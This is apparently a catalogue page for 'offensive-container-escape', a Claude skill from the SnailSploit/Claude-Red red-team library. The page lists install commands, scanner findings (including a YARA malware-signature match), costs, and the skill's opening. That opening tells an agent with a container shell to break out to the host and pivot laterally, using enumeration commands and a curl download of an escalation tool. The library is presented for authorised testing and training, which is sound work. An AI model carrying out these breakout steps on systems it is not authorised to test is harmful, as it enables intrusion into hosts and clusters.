claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-container-escapegit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-container-escape)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-container-escape"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-container-escape/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-container-escape"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-container-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 52 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 135 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high Privilege Escalation · line 3 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 186 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 209 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 3 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 142 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 145 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 147 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 154 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 156 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 598 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 91 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 95 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 524 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 112 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 596 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Privilege Escalation · line 127 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 139 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 219 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 314 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00196 | $0.05947 |
| Opus 5.5 | $0.00078 | $0.02379 |
| Sonnet 5.5 | $0.00039 | $0.01189 |
| Haiku 4.5 | $0.00020 | $0.00595 |
Grade A, and why
offensive-container-escape scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- offensive-container-escape — 88% identical, 40 lines differ
How it starts
The opening of the file, as written. The whole thing — 673 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Container Escape and Breakout
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
Quick Workflow
- Confirm you are inside a container (check for
.dockerenv, cgroup entries, PID 1 process). - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading
/etc/hostname, checking PID namespace, or writing to host filesystem. - Pivot from host access to lateral movement across the cluster or infrastructure.
Phase 1: Container Detection and Enumeration
Before attempting escape, confirm you are containerized and map the attack surface.
Detecting Container Environment
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
Automated Enumeration Tools
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 673 lines · 196 tokens per session scan E 0646139103a2
offensive-container-escape is a skill published in the GitHub repository SnailSploit/Claude-Red (7,638 stars, last pushed 9d ago), licensed MIT. It adds 196 tokens to every session and 5,947 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
agents-v2-py
Build container-based Foundry Agents with Azure AI Projects SDK (ImageBasedHostedAgentDefinition). Use when creating hosted agents with custom container images in Azure AI Foundry.
datarobot-workload-api
Use when the user wants to create, configure, scale, debug, observe, or roll out container workloads on DataRobot's Workload API. Triggers: deploy a container as a managed service; list/start/stop workloads; change replica counts or autoscaling; pick CPU/GPU compute bundles; inject DataRobot credentials as env vars…
kubernetes
Use when deploying to or debugging Kubernetes. Covers workload configuration, resource requests and limits, probes, rollout strategy, networking, and the failure modes that produce CrashLoopBackOff and OOMKilled. Trigger on "pod keeps restarting", "pod stuck in crashloopbackoff", "container got oomkilled". Do not use…
apify-actor-development
Important: Before you begin, fill in the generatedBy property in the meta section of .actor/actor.json. Replace it with the tool and model you're currently using, such as "Claude Code with Claude Sonnet 4.5". This helps Apify monitor and improve AGENTS.md for specific AI tools and models.
apify-actorization
Actorization converts existing software into reusable serverless applications compatible with the Apify platform. Actors are programs packaged as Docker images that accept well-defined JSON input, perform an action, and optionally produce structured JSON output.
ai-inference-service-mesh
Use service mesh patterns for AI inference traffic management, mTLS, canary releases, policy enforcement, and cross-cluster resilience.